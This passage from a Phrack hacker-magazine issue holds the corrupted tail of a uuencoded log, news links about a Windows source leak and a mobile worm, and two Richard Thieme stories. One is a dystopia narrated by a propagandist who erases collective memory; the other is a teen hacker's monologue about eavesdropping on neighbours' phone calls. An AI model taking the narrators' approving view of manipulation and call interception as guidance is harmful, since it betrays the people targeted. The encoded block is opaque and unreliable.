M(#`P(`T*#0H@("`@/CY"OR`X-"`P, "`P, "`P. "`\+2T@0WEP:&5R:6YG('=I
M=&@@<V%L="`](#`Y(#<P#0H@("`@-T(@#0H@("`@/CY\$0PT*("`@(#="(`T*
M("`@(#X^.3@-"B`@("`W0B`-"B`@("`^/C\$Y#0H@("`@-T(@#0H@("`@/CXQ
M-0T*("`@(#="(`T*("`@(#X^-"C@@("`W0B`-"B`@("`^/C-�H@("`@
M-T(@#0H@("`@/CXP.0T*("`@(#="(`T*("`@(#X^-"S@@("`@("`@("`@("`@
M/"TM(\$1#(#DX(#\$Y(#\$U(#8X(#-&(%LP.2`W,%T-"B`@("`Y, "`P, "`-"`@T*
M("`@(#X^OD, @0S`@, #`@, #`@, #@@/"TM(\$=E="!R97-U;'0-"B`@("!, "`-
M"B`@("!\$0R`Y. "`Q.2`Q-2`V. "`S1B`P.2`W, "`B`@("`Y, "`P, "`-"`@T*
M+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM+2TM
M+2TM+2TM+2TM+2TM+0T*#0HK+2TM+2TM+2TM*PT*?"!2151)4D5:('P-"GP@
M(\$-!4E1%("!\#0HK+2TM+2TM+2TM*PT*#0I%;F0@;V8@=')A;G-A8W1I;VX-
%`@T*#0H`
`
end

<++> ./old_log.txt.uue

|=[EOF]=====|

==Phrack Inc.==

Volume 0x0b, Issue 0x3e, Phile #0x10 of 0x10

|=====|
|======[W O R L D N E W S]=====|
|=====|

- 1 - Break, Memory, by Richard Thieme
- 2 - The Geometry of Near, by Richard Thieme
- 3 - The Feasibility of Anarchy in America, by Anthony

*** QUICK NEWS quick NEWS QUICK NEWS QUICK NEWS QUICK NEWS QUICK NEWS ***

- Windows source code leaked
<http://ww.kuro5hin.org/story/2004/2/15/71552/7795>
<http://www.wired.com/news/technology/0,1282,62282,00.html>

- grsecurity 'Spender' makes fun of OpenBSD and Mac OS X
<http://seclists.org/lists/fulldisclosure/2004/Jun/0647.html>

- These guys have all the books about terrorist/anarchy/combat/...
<http://www.paladin-press.com>

- 29A releases first worm that spreads via mobile network
<http://securityresponse.symantec.com/avcenter/venc/data/epoc.cabir.html>

Break, Memory

By

Richard Thieme

The Evolution of the Problem

The problem was not that people couldn't remember; the problem was that people couldn't forget.

As far back as the 20th century, we realized that socio-historical problems were best handled on a macro level. It was inefficient to work on individuals who were, after all, nothing but birds in digital cages. Move the cage, move the birds. The challenge was to build the cage big enough to create an illusion of freedom in flight but small enough to be moved easily.

When long-term collective memory became a problem in the 21st century, it wound up on my desktop. There had always been a potential for individuals to connect the dots and cause a contextual shift. We managed the collective as best we could with Chomsky Chutes but an event could break out randomly at any time like a bubble bursting. As much as we surveil the social landscape with sensors and datamine for deep patterns, we can't catch everything. It's all sensors and statistics, after all, which have limits. If a phenomenon gets sticky or achieves critical mass, it can explode through any interface, even create the interface it needs at the moment of explosion. That can gum up the works.

Remembering and forgetting changed after writing was invented. The ones that remembered best had always won. Writing shifted the advantage from those who knew to those who knew how to find what was known. Electronic communication shifted the advantage once again to those who knew what they didn't need to know but knew how to get it when they did. In the twentieth century advances in pharmacology and genetic engineering increased longevity dramatically and at the same time meaningful distinctions between backward and forward societies disappeared so far as health care was concerned. The population exploded everywhere simultaneously.

People who had retired in their sixties could look forward to sixty or seventy more years of healthful living. As usual, the anticipated problems - overcrowding, scarce water and food, employment for those who wanted it - were not the big issues.

Crowding was managed by staggered living, generating niches in many multiples of what used to be daylight single-sided life. Life became double-sided, then triple-sided, and so on. Like early memory storage devices that packed magnetic media inside other media, squeezing them into every bit of available space, we designed multiple niches in society that allowed people to live next to one another in densely packed communities without even noticing their neighbors. Oh, people were vaguely aware that thousands of others were on the streets or in stadiums, but they might as well have been simulants for all the difference they made. We call this the Second Neolithic, the emergence of specialization at the next level squared.

The antisocial challenges posed by hackers who "flipped" through niches for weeks at a time, staying awake on Perkup, or criminals exploiting flaws inevitably present in any new system, were anticipated and handled using risk management algorithms. In short, multisided life works.

Genetic engineering provided plenty of food and water. Binderhoff

Day commemorates the day that water was recycled from sewage using the Binderhoff Method. A body barely relinquishes its liquid before it's back in a glass in its hand. As to food, the management of fads enables us to play musical chairs with agri-resources, smoothing the distribution curve.

Lastly, people are easy to keep busy. Serial careers, marriages and identities have been pretty much standard since the twentieth century. Trends in that direction continued at incremental rather than tipping-point levels. We knew within statistical limits when too many transitions would cause a problem, jamming intersections as it were with too many vehicles, so we licensed relationships, work-terms, and personal reinvention using traffic management algorithms to control the social flow.

By the twenty-first century, everybody's needs were met. Ninety-eight per cent of everything bought and sold was just plain made up. Once we started a fad, it tended to stay in motion, generating its own momentum. People spent much of their time exchanging goods and services that an objective observer might have thought useless or unnecessary, but of course, there was no such thing as an objective observer. Objectivity requires distance, historical perspective, exactly what is lacking. Every product or service introduced into the marketplace drags in its wake an army of workers to manufacture it, support it, or clean up after it which swells the stream until it becomes a river. All of those rivers flow into the sea but the sea is never full.

Fantasy baseball is a good example. It had long been noticed that baseball itself, once the sport became digitized, was a simulation. Team names were made up for as many teams as the population would watch. Players for those teams were swapped back and forth so the team name was obviously arbitrary, requiring the projection of a "team gestalt" from loyal fans pretending not to notice that they booed players they had cheered as heroes the year before. Even when fans were physically present at games, the experience was mediated through digital filters; one watched or listened to digital simulations instead of the game itself, which existed increasingly on the edges of the field of perception. Then the baseball strike of 2012 triggered the Great Realization. The strike was on for forty-two days before anyone noticed the absence of flesh-and-blood players because the owners substituted players made of pixels. Game Boys created game boys. Fantasy baseball had invented itself in recognition that fans might as well swap virtual players and make up teams too but the G.R. took it to the next level. After the strike, Double Fantasy Baseball became an industry, nested like a Russian doll inside Original Fantasy Baseball. Leagues of fantasy players were swapped in meta-leagues of fantasy players. Then Triple Fantasy Baseball . Quadruple Fantasy Baseball . and now the fad is Twelves in baseball football and whack-it-ball and I understand that Lucky Thirteens is on the drawing boards, bigger and better than any of its predecessors.

So no, there is no shortage of arbitrary activities or useless goods. EBay was the prototype of the future, turning the world into one gigantic swap meet. If we need a police action or a new professional sport to bleed off excess hostility or rebalance the body politic, we make it up. The Hump in the Bell Curve as we call the eighty per cent that buy and sell just about everything swim blissfully in the currents of make-believe digital rivers, all unassuming. They call it the Pursuit of Happiness. And hey - who are we to argue?

The memory-longevity problem came as usual completely out of fantasy left field. People were living three, four, five generations, as we used to count generations, and vividly recalled the events of their personal histories. Pharmacological assists and genetic enhancement made the problem worse by quickening recall and ending dementia and Alzheimer's. I don't mean that every single person remembered every single thing but the Hump as a whole had pretty good recall of its collective history and that's what mattered. Peer-to-peer communication means one-knows-everyone-knows and that created problems for society in general and - as a Master of Society - that makes it my business.

My name is Horicon Walsh, if you hadn't guessed, and I lead the team

that designs the protocols of society. I am the man behind the Master. I am the Master behind the Plan.

The Philosophical Basis of the Problem

The philosophical touchstone of our efforts was defined in nineteenth century America. The only question that matters is, What good is it? Questions like, what is its nature? what is its end? are irrelevant.

Take manic depression, for example. Four per cent of the naturally occurring population were manic depressive in the late twentieth century. The pharmacological fix applied to the anxious or depressive one-third of the Hump attempted to maintain a steady internal state, not too high and not too low. That standard of equilibrium was accepted without question as a benchmark for fixing manic depression. Once we got the chemistry right, the people who had swung between killing themselves and weeks of incredibly productive, often genius-level activity were tamped down in the bowl, as it were, their glowing embers a mere reflection of the fire that had once burned so brightly. Evolution, in other words, had gotten it right because their good days - viewed from the top of the tent - made up for their bad days. Losing a few to suicide was no more consequential than a few soccer fans getting trampled. Believing that the Golden Mean worked on the individual as well as the macro level, we got it all wrong.

That sort of mistake, fixing things according to unexamined assumptions, happened all the time when we started tweaking things. Too many dumb but athletic children spoiled the broth. Too many waddling bespectacled geeks made it too acrid. Too many willowy beauties made it too salty. Peaks and valleys, that's what we call the first half of the 21st century, as we let people design their own progeny. The feedback loops inside society kind of worked - we didn't kill ourselves - but clearly we needed to be more aware. Regulation was obviously necessary and subsequently all genetic alteration and pharmacological enhancements were cross-referenced in a matrix calibrated to the happiness of the Hump. Executing the Plan to make it all work was our responsibility, a charge that the ten per cent of us called Masters gladly accepted. The ten per cent destined to be dregs, spending their lives picking through dumpsters and arguing loudly with themselves in loopy monologues, serve as grim reminders of what humanity would be without our enlightened guidance.

That's the context in which it became clear that everybody remembering everything was a problem. The Nostalgia Riots of Greater Florida were only a symptom.

The Nostalgia Riots

Here you had the fat tip of a long peninsular state packed like a water balloon with millions of people well into their hundreds. One third of the population was 150 or older by 2175. Some remembered sixteen major wars and dozens of skirmishes and police actions. Some had lived through forty-six recessions and recoveries. Some had lived through so many elections they could have written the scripts, that's how bad it was. Their thoughtful reflection, nuanced perspective, and appropriate skepticism were a blight on a well-managed global free-market democracy. They did not get depressed - pharmies in the food and water made sure of that - but they sure acted like depressed people even if they didn't feel like it. And depressed people tend to get angry.

West Floridians lined benches from Key West through Tampa Bay all the way to the Panhandle. The view from satellites when they lighted matches one night in midwinter to demonstrate their power shows an unbroken arc along the edge of the water like a second beach beside the darker beach. All day every day they sat there remembering, comparing notes, measuring what was happening now by what had happened before. They put together pieces of the historical puzzle the way people used to do crosswords and we

had to work overtime to stay a step ahead. The long view of the Elder Sub-Hump undermined satisfaction with the present. They preferred a different, less helpful way of looking at things.

When the drums of the Department of System Integration, formerly the Managed Affairs and Perception Office, began to beat loudly to rouse the population of our crowded earth to a fury against the revolutionary Martian colonists who shot their resupplies into space rather than pay taxes to the earth, we thought we would have the support of the Elder Sub-Hump. Instead they pushed the drumming into the background and recalled through numerous conversations the details of past conflicts, creating a memory net that destabilized the official Net. Their case for why our effort was doomed was air-tight, but that wasn't the problem. We didn't mind the truth being out there so long as no one connected it to the present. The problem was that so many people knew it because the Elder Sub-Hump wouldn't shut up. That created a precedent and the precedent was the problem.

Long-term memory, we realized, was subversive of the body politic.

Where had we gotten off course? We had led the culture to skew toward youth because youth have no memory in essence, no context for judging anything. Their righteousness is in proportion to their ignorance, as it should be. But the Elder Sub-Hump skewed that skew.

We launched a campaign against the seditious seniors. Because there were so many of them, we had to use ridicule. The three legs of the stool of cover and deception operations are illusion, misdirection, and ridicule, but the greatest of these is ridicule. When the enemy is in plain sight, you have to make him look absurd so everything he says is discredited. The UFO Campaign of the twentieth century is the textbook example of that strategy. You had fighter pilots, commercial pilots, credible citizens all reporting the same thing from all over the world, their reports agreeing over many decades in the small details. So ordinary citizens were subjected to ridicule. The use of government owned and influenced media like newspapers (including agency-owned-and-operated tabloids) and television networks made people afraid to say what they saw. They came to disbelieve their own eyes so the phenomena could hide in plain sight. Pretty soon no one saw it. Even people burned by close encounters refused to believe in their own experience and accepted official explanations.

We did everything possible to make old people look ridiculous. Subtle images of drooling fools were inserted into news stories, short features showed ancients playing inanely with their pets, the testimony of confused seniors was routinely dismissed in courts of law. Our trump card - entertainment - celebrated youth and its lack of perspective, extolling the beauty of young muscular bodies in contrast with sagging-skin bags of bones who paused too long before they spoke. We turned the book industry inside out so the little bit that people did know was ever more superficial. The standard for excellence in publishing became an absence of meaningful text, massive amounts of white space, and large fonts. Originality dimmed, and pretty soon the only books that sold well were mini-books of aphorisms promulgated by pseudo-gurus each in his or her self-generated niche.

Slowly the cognitive functioning of the Hump degraded until abstract or creative thought became marks of the wacky, the outcast, and the impotent.

Then the unexpected happened, as it always will. Despite our efforts, the Nostalgia Riots broke out one hot and steamy summer day. Govvies moved on South Florida with happy gas, trying to turn the rampaging populace into one big smiley face, but the seniors went berserk before the gas - on top of pills, mind you, chemicals in the water, and soporific stories in the media - took effect. They tore up benches from the Everglades to Tampa/St. Pete and made bonfires that made the forest fires of '64 look like fireflies. They smashed store windows, burned hovers, and looted amusement parks along the Hundred-Mile-Boardwalk. Although the Youthful Sub-Hump was slow to get on board, they burned white-hot when they finally ignited, racing through their shopping worlds with inhuman cold-blooded cries. A shiver of primordial terror chilled the Hump from end to end.

That a riot broke out was not the primary problem. Riots will happen

and serve many good purposes. They enable us to reinforce stereotypes, enact desirable legislation, and discharge unhelpful energies. The way we frame analyses of their causes become antecedents for future policies and police actions. We have sponsored or facilitated many a useful riot. No, the problem was that the elders' arguments were based on past events and if anybody listened, they made sense. That's what tipped the balance. Youth who had learned to ignore and disrespect their elders actually listened to what they were saying. Pretending to think things through became a fad. The young sat on quasi-elder-benches from Key Largo to Saint Augustine, pretending to have thoughtful conversations about the old days. Coffee shops came back into vogue. Lingering became fashionable again. Earth had long ago decided to back down when the Martians declared independence, so it wasn't that. It was the spectacle of the elderly strutting their stuff in a victory parade that stretched from Miami Beach to Biloxi that imaged a future we could not abide.

Even before the march, we were working on solving the problem. Let them win the battle. Martians winning independence, old folks feeling their oats, those weren't the issues. How policy was determined was the issue. Our long-term strategy focused on winning that war.

Beyond the Chomsky Chutes

The first thing we did was review the efficacy of Chomsky Chutes.

Chomsky Chutes are the various means by which current events are dumped into the memory hole, never to be remembered again. Intentional forgetting is an art. We used distraction, misdirection - massive, minimal and everything in-between, truth-in-lie-embedding, lie-in-truth-embedding, bogus fronts and false organizations (physical, simulated, live and on the Net). We created events wholesale (which some call short-term memory crowding, a species of buffer overflow), generated fads, fashions and movements sustained by concepts that changed the context of debate. Over in the entertainment wing, the most potent wing of the military-industrial-educational-entertainment complex, we invented false people, characters with made-up life stories in simulated communities more real to the Hump than family or friends. We revised historical antecedents or replaced them entirely with narratives you could track through several centuries of buried made-up clues. We sponsored scholars to pursue those clues and published their works and turned them into minipics. Some won Nobel Prizes. We invented Net discussion groups and took all sides, injecting half-true details into the discourse, just enough to bend the light. We excelled in the parallax view. We perfected the Gary Webb Gambit, using attacks by respectable media giants on independent dissenters, taking issue with things they never said, thus changing the terms of the argument and destroying their credibility. We created dummy dupes, substitute generals and politicians and dictators that looked like the originals in videos, newscasts, on the Net, in covertly distributed underground snaps, many of them pornographic. We created simulated humans and sent them out to play among their more real cousins. We used holographic projections, multispectral camouflage, simulated environments and many other stratagems. The toolbox of deception is bottomless and if anyone challenged us, we called them a conspiracy theorist and leaked details of their personal lives. It's pretty tough to be taken seriously when your words are juxtaposed with a picture of you sucking some prostitute's toes. Through all this we supported and often invented opposition groups because discordant voices, woven like a counterpoint into a fugue, showed the world that democracy worked. Meanwhile we used those groups to gather names, filling cells first in databases, then in Guantanamo camps.

Chomsky Chutes worked well when the management of perception was at top-level, the level of concepts. They worked perfectly before chemicals, genetic-enhancements and bodymods had become ubiquitous. Then the balance tipped toward chemicals (both ingested and inside-engineered) and we saw that macro strategies that addressed only the conceptual level let too many

percepts slip inside. Those percepts swim around like sperm and pattern into memories; when memories are spread through peer-to-peer nets, the effect can be devastating. It counters everything we do at the macro level and creates a subjective field of interpretation that resists socialization, a cognitively dissonant realm that's like an itch you can't scratch, a shadow world where "truths" as they call them are exchanged on the Black Market. Those truths can be woven together to create alternative realities. The only alternative realities we want out there are ones we create ourselves.

We saw that we needed to manage perception as well as conception. Given that implants, enhancements, and mods were altering human identity through everyday life - routine medical procedures, prenatal and geriatric care, plastic surgery, eye ear nose throat and dental work, all kinds of pharmacopsychotherapies - we saw the road we had to take. We needed to change the brain and its secondary systems so that percepts would filter in and filter out as we preferred. Percepts - not all, but enough - would be pre-configured to model or not model images consistent with society's goals.

Using our expertise in enterprise system programming and management, we correlated subtle changes in biochemistry and nanophysiology to a macro plan calibrated to statistical parameters of happiness in the Hump. Keeping society inside those "happy brackets" became our priority.

So long as changes are incremental, people don't notice. Take corrective lenses, for example. People think that what they see through lenses is what's "real" and are trained to call what their eyes see naturally (if they are myopic, for example) a blur. In fact, it's the other way around. The eyes see what's natural and the lenses create a simulation. Over time people think that percepts mediated by technological enhancements are "real" and what they experience without enhancements is distorted.

It's like that, only inside where it's invisible.

It was simply a matter of working not only on electromechanical impulses of the heart, muscles, and so on as we already did or on altering senses like hearing and sight as we already did or on implanting devices that assisted locomotion, digestion, and elimination as we already did but of working directly as well on the electrochemical wetware called the memory skein or membrane, that vast complex network of hormonal systems and firing neurons where memories and therefore identity reside. Memories are merely points of reference, after all, for who we think we are and therefore how we frame ourselves as possibilities for action. All individuals have mythic histories and collective memories are nothing but shared myths. Determining those points of reference determines what is thinkable at every level of society's mind.

Most of the trial and error work had been done by evolution. Our task was to infer which paths had been taken and why, then replicate them for our own ends.

Short term memory, for example, is wiped out when a crisis occurs. Apparently whatever is happening in a bland sort of ho-hum way when a tiger attacks is of little relevance to survival. But reacting to the crisis is important, so we ported that awareness to the realm of the body politic. Everyday life has its minor crises but pretty much just perks along. We adjusted our sensors to alert us earlier when the Hump was paying too much attention to some event that might achieve momentum or critical mass; then we could release that tiger, so to speak, creating a crisis that got the adrenalin pumping and wiped out whatever the Hump had been thinking. After the crisis passed - and it always did, usually with a minimal loss of life - the Hump never gave a thought to what had been in the forefront of its mind a moment before.

Once the average lifespan reached a couple of hundred years, much of what people remembered was irrelevant or detrimental. Who cared if there had been famine or drought a hundred and fifty years earlier? Nobody! Who cared if a war had claimed a million lives in Botswana or Tajikistan (actually, the figure in both cases was closer to two million)? Nobody! What did it matter to survivors what had caused catastrophic events? It

didn't. And besides, the military-industrial-educational-entertainment establishment was such a seamless weld of collusion and mutual self-interest that what was really going on was never exposed to the light of day anyway. The media, the fifth column inside the MIEE complex, filtered out much more than was filtered in, by design. Even when people thought they were "informed," they didn't know what they were talking about.

See, that's the point. People fed factoids and distortions don't know what they're talking about anyway, so why shouldn't inputs and outputs be managed more precisely? Why leave anything to chance when it can be designed? We knew we couldn't design everything but we could design the subjective field in which people lived and that would take care of the rest. That would determine what questions could be asked which in turn would make the answers irrelevant. We had to manage the entire enterprise from end to end.

Now, this is the part I love, because I was in on the planning from the beginning. We remove almost nothing from the memory of the collective! But we and we alone know where everything is stored! Do you get it? Let me repeat. Almost all of the actual memories of the collective, the whole herdlike Hump, are distributed throughout the population, but because they are staggered, arranged in niches that constitute multisided life, and news is managed down to the level of perception itself, the people who have the relevant modules never plug into one another! They never talk to each other, don't you see! Each niche lives in its own deep hole and even when they find gold nuggets they don't show them to anybody. If they did, they could reconstruct the original narrative in its entirety, but they don't even know that!

Isn't that elegant? Isn't that a sublime way to handle whiny neo-liberals who object to destroying fundamental elements of collective memory? We can show them how it's all there but distributed by the sixtysixfish algorithm. That algorithm, the programs that make sense of its complex operations, and the keys to the crypto are all in the hands of the Masters.

I love it! Each Humpling has memory modules inserted into its wetware, calibrated to macro conceptions that govern the thinking and actions of the body politic. Because they don't know what they're missing, they don't know what they're missing. We leave intact the well-distributed peasant gene that distrusts strangers, changes, and new ideas, so if some self-appointed liberator tries to tell them how it works, they snarl or remain sullen or lower their eyes or eat too much or get drunk until they forget why they were angry.

At the same time, we design a memory web that weaves people into communities that cohere, spun through vast amounts of disconnected data. Compartmentalization handles all the rest. The Hump is overloaded with memories, images, ideas, all to no purpose. We keep fads moving, quick quick quick, and we keep the Hump as gratified and happy as a pig in its own defecation.

MemoRacer, Master Hacker

Of course, there are misfits, antisocial criminals and hackers who want to reconstitute the past. We devised an ingenious way to manage them too. We let them have exactly what they think they want.

MemoRacer comes to mind when we talk about hackers. MemoRacer flipped through niches like an asteroid through the zero-energy of space. He lived in a niche long enough to learn the parameters by which the nichelings thought and acted. Then he became invisible, dissolving into the background. When he grew bored or had learned enough, he flipped to the next niche or backtracked, sometimes living in multiple niches and changing points of reference on the fly. He was slippery and smart, but he had an ego and we knew that would be his downfall.

The more he learned, the more isolated he became. The more he understood, the less he could relate to those who didn't. Understand too

much, you grow unhappy on that bench listening to your neighbors' prattle. It becomes irritating. MemoRacer and his kind think complexity is exhilarating. They find differences stimulating and challenging. The Hump doesn't think that way. Complexity is threatening to the Hump and differences cause anxiety and discomfort. The Hump does not like anxiety and discomfort.

MemoRacer (his real name was George Ruben, but no one remembers that) learned in his flipping that history was more complex than anyone knew. That was not merely because he amassed so many facts, storing them away on holodisc and drum as trophies to be shown to other hackers, but because he saw the links between them. He knew how to plug and play, leverage and link, that was his genius. Because he didn't fit, he called for revolution, crying out that "Memories want to be free!" I guess he meant by that vague phrase that memories had a life of their own and wanted to link up somehow and fulfill themselves by constituting a person or a society that knew who it was. In a society that knows who it is precisely because it has no idea who it is, that, Mister Master Hacker, is subversive.

Once MemoRacer issued his manifesto on behalf of historical consciousness, he became a public enemy. We could not of course say that his desire to restore the memory of humankind was a crime. Technically, it wasn't. His crime was undermining the basis of transplanetary life in the twenty first century. His crime was disturbing the peace.

He covered his tracks well. MemoRacer blended into so many niches so well that each one thought he belonged. But covering your tracks ninety-nine times isn't enough. It's the hundredth time, that one little slip, that tells us who and where you are.

MemoRacer grew tired and forgetful despite using more Perkup than a waking-state addict - as we expected. The beneficial effects of Perkup degrade over time. It was designed that way so no one could be aware forever. That was the failsafe mechanism pharms had agreed to build in as a back door. All we had to do was wait.

The niche in which he slipped up was the twenty-third business clique. This group of successful low-level managers and small manufacturers were not particularly creative but they worked long hours and made good money. MemoRacer forgot that their lack of interest in ideas, offbeat thinking, was part of their psychic bedrock. Their entertainment consisted of golf, eating, drinking, sometimes sex, then golf again. They bought their fair share of useless goods to keep society humming along, consumed huge quantities of resources to build amusement parks, golf courses, homes with designer shrubs and trees. In short, they were good citizens. But they had little interest in revolutionary ideas and George Ruben, excuse me, MemoRacer forgot that during one critical conversation. He was tired, as I said, and did not realize it. He had a couple of drinks at the club and began declaiming how the entire history of the twentieth century had been stolen from its inhabitants by masters of propaganda, PR, and the national security state. The key details that provided context were hidden or lost, he said. That's how he talked at the nineteenth hole of the Twenty-Third Club! trying to get them all stirred up about something that had happened a century earlier. Even if it was true, who cared? They didn't. What were they supposed to do about it? MemoRacer should have known that long delays in disclosure neutralize even the most shocking revelations and render outrage impotent. People don't like being made to feel uncomfortable at their contradictions. People have killed for less.

One of the Twenty Third complained about his rant to the Club Manager. He did so over a holophone. Our program, alert for anomalies, caught it. The next day our people were at the Club, better disguised than MemoRacer would ever be, observing protocols - i.e. saying nothing controversial, drinking too much, and insinuating sly derogatory things about racial and religious minorities - and learned what they needed to know. They scraped the young man's DNA from the chair in which he had been sitting and broadcast the pattern on the Net. Genetic markers were scooped up routinely the next day and when he left fingerskin on a lamp-post around which he swung in too-tired up-too-long jubilation (short-lived, I can tell

you) in the seventy-seven Computer Club niche, he was flagged. When he left the meeting, acting like one of the geeky guys, our people were waiting.

We do this for a living, George. We are not amateurs.

MemoRacer taught us how to handle hackers. He wanted to live in the past, did he? Well, that's where he was allowed to live - forever.

Chemicals and implants worked their magic, making him incapable of living in the present. When he tried to focus on what was right in front of his eyes, he couldn't see it. That meant that he sounded like a blithering idiot when he tried to speak with people who lived exclusively in the present. MemoRacer lived in a vast tapestry of historical understanding that he couldn't connect in any meaningful way to the present or the lived experience of people around him.

There is an entire niche now of apprehended hackers living in the historical past and exchanging data but unable to relate to contemporary niches. It's a living hell because they are immensely knowledgeable but supremely impotent and know it. They teach seminars at community centers which we support as evidence of our benevolence and how wrong they are to hate us.

You want to know about the past? By all means! There's a seminar starting tomorrow, I say, scanning my planner. What's your interest? What do you want to explore? Twentieth century Chicago killers? Herbal medicine during the Ming Dynasty? Competitive intelligence in Dotcom Days? Pick your poison!

And when they leave the seminar room, vague facts tumbling over one another in a chaotic flow to nowhere, they can't connect anything they have heard to their lives.

So everybody pretty much has what they want or at least what they need, using the benchmarks we have established as the correct measures for society. The Hump is relatively happy. The dregs skulk about as reminders of a mythic history we have invented that everyone fears. People perceive and conceive of things in helpful and useful ways and act accordingly. And when we uplink to nets around all the planets and orbiting colonies, calling the roll on every niche in the known universe, it always comes out right. Everybody is present. Everybody is always present.

Just the way we like it.

#

|=====|
|=====|
|=====|

The Geometry of Near

By

Richard Thieme

It's nobody's fault. Honest. It's just how it is.

The future came earlier than expected. They kicked it around for years but never knew what they had. By the time they realized what it was, it was already broken. Broken open, I should say. Even then, looking at the pieces of the egg and wondering where the bird had flown, they didn't know how to say what it was. The words they might have used had broken too.

Now it's too late. The future is past.

It was too far. They can't see far. They can only see near.

Me and my friends, we see far, but we see near, too. It's linking near and far in fractal spirals that makes a multi-dimensional parallax view, providing perspective. It's not that we have better brains than our

Moms and Pops, but hey, we were created in the image of the net and we know it. They live it, everybody has to live it now, but they still don't know it.

Look at my Mom and Pop on a Thursday night in the family room. You'll see what I mean.

They are sitting in front of the big screen digital television set watching a sitcom. The program is "Friends." Mom calls the six kids, the six young people excuse me, "our friends." They've been watching the show for years and know the characters better than any of the neighbors. The only reason they know the neighbors at all is because I programmed a scanner to pick up their calls. At first they said, how terrible, don't you do that. Then they said, what did she say? Did she really say that? Then they left it on, listening to cell calls from all over the city, drug deals ("I'm at the ATM, come get your stuff"), sex chat ("I'm sitting at your desk, my feet on the edge, touching myself"), trivia mostly, and once in a while the life of a house down the street broadcasting itself through a baby monitor.

The way they reacted to that, the discovery that walls aren't walls anymore, reminded me of a night when I told some kids it was time to feed a live mouse to Kurtz, my boa constrictor. Oh, how horrible! they cried. Oh, I can't watch! Then they lined up at the tank, setting up folding chairs to be sure they could see the mouse trembling, the sudden strike, the big squeeze. They gaped as the hingeless jaw dropped and Kurtz swallowed the dead mouse. They waited for the tip of its tail to disappear into his mouth before getting up saying yuuuchhh! That's gross!

People in the neighborhood only became real to Mom and Pop when I made them digital, don't you see, when I put them on reality radio. Only when I turned the neighbors into sitcom characters did Mom and Pop have a clue. When they hacked the system in other words.

That's what hacking is, see. It's not hunching over your glowing monitor in your bedroom at three in the morning cackling like Beavus or Butthead while you break into a bank account - although sometimes it is that too - it's more of a trip into the tunnels into the sewers into the walls where the wires run and the pipes and you can see how things work. It's hitting a wall and figuring out how to move through it. How to become invisible, how to use magic. How to cut the knot, solve the puzzle, move to the next level of the game. It's seeing how shit we dump relates to people who think they don't dump shit and live as if. It's seeing how it all fits together.

"Our friends." Said as if she means it. I mean, is that pathetic or what?

The theme music is too loud as they sink down in overstuffed chairs and turn the volume even higher with a remote I had to program so they could use it. Their lives seldom deviate more than a few inches from the family room. Put the point of a compass down on the set and you can draw a little circle that circumscribes their lives. Everything they know is inside that circle. Two dimensions, flat on its back.

The geometry of near.

Those are my friends, Mom says with a laugh for the umpteenth time. The commercial dissolves and expectations settle onto the family room like the rustling wings of twilight. The acting is always overdone, they mug and posture too much, the laugh tracks are too loud. The characters say three, maybe four hundred words in half an hour, barely enough to hand in to an English teacher on a theme, but more than enough to build a tiny world like a doll's house inside a million heads. Those scripted words and intentional gestures sketch out the walls of houses, the edges of suburban lots, the city limits of their lives, all inside their heads. Hypnotized, they stare at the screen for hours, downloading near vistas, thinking they have a clue.

In family rooms all over the world, drapes closed and lights low, people sit there scratching while they watch, most eat or drink something, and some masturbate. Some get off on Rachel, some Monica. Gays like Joey. Bloat-fetishists go for Chandler. I don't know who gets off on Ross. I do

know, though, that all over the world there are rooms smelling of pizza, beer and semen. Some clean up the food they spill before the show is over and some leave it. Some come into a napkin and ball it up and put it on a table until a commercial but some take it straight to the garbage and wash their hands on the way back. Funny. They beat off to a fantasy character as sketchy as a cartoon but wash their hands before coming back from the commercial. After sitting there for all those hours, they ought to wash out their souls with soap, not their hands.

Everybody masturbates, actually. That's what it means to watch these shows. People get off on a fantasy and pretend the emptiness fills them up so they do it again. And again.

Who writes these scripts, anyway? People who have lost their souls, obviously. These people have no self. They put it down somewhere then forgot where they put it. They are seriously diminished humans.

But hey, this is not a rant about people who sell their souls. That's true of everybody who lives in a world of simulations and doesn't know it. Those who know it are masters, their hands on the switches that control the flow of energy and information. Those gates create or negate meaning, modify or deny. Me and my friends we control the flow. The difference is all in the knowing and knowing how.

But that's not what we were fighting about. We were fighting about real things.

I just read an army paper some colonel wrote critiquing the army for thinking backwards. Thinking hierarchically, he said, thinking in terms of mechanistic warfare. The writer self-styling himself a modern insightful thinker, Net-man, an apostle of netcentric warfare, a disciple of the digerati.

It's always colonels, right? trying to get noticed. The wisdom of the seminar room. Talk about masturbation. They write for the same journals they read, it's one big circle jerk. They never call each other on their shit, that's the deal, not on the real stuff, but they can't fool us all the time. Just some of the people some.

It's funny, see, the colonel talks about hierarchies and nets but this guy's obviously Hierarchy Man, he lives in a pyramid, he can't help it. He has the fervor of a convert who suddenly saw the blinding light, saw that he had been living in the near, but all he can do is add on, not transform. An extra bedroom, a new bathroom, is not a new floorplan. The guy is excited, sure, he had a vision that blew his mind, but he thought that meant he could live there and he can't. Seeing may be believing but that's about all. The future is past, like I said. The evidence is guys like that writing stuff like that. Those of us who have lived here all of our lives, who never lived anywhere else, we can see that. He's a mummy inside a pyramid looking out through a chink in a sealed tomb. That's why we laugh, because he can't see himself trailing bandages through the dusty corridors. New converts always look funny to people who live on the distant shore where they just arrived, shipwrecked sailors ecstatic to feel the sand under their feet. They think it's bedrock but it's quicksand..

Here's an example. Go downstairs and go into the kitchen where another television set records the President's speech. (I had to show them how to do that too.)

When we watch it together later, I point out that it's not really the president, not really a person, it's only an image in pixels, a digital head speaking in that strange jerky way he has so when you try to connect, you can't. You think you get the beat but then there's a pause, then a quick beat makes you stumble trying to synchronize. It's how his brain misfires, I think. I think he did that doing drugs, maybe drinking. He was in and out of rehab and who the hell knows what he did to himself. Of course the Clintons did coke and all kinds of shit. Anyway he is talking to people who are eating and drinking and masturbating, not even knowing it, hands alive and mobile in their pockets, getting off on his projected power and authority. He talks about "our country" and I laugh. Pop shoots me a glare because he doesn't have a clue. Pop thinks he lives in a country. Because the prez keeps saying "our country" and "this nation" and shit like

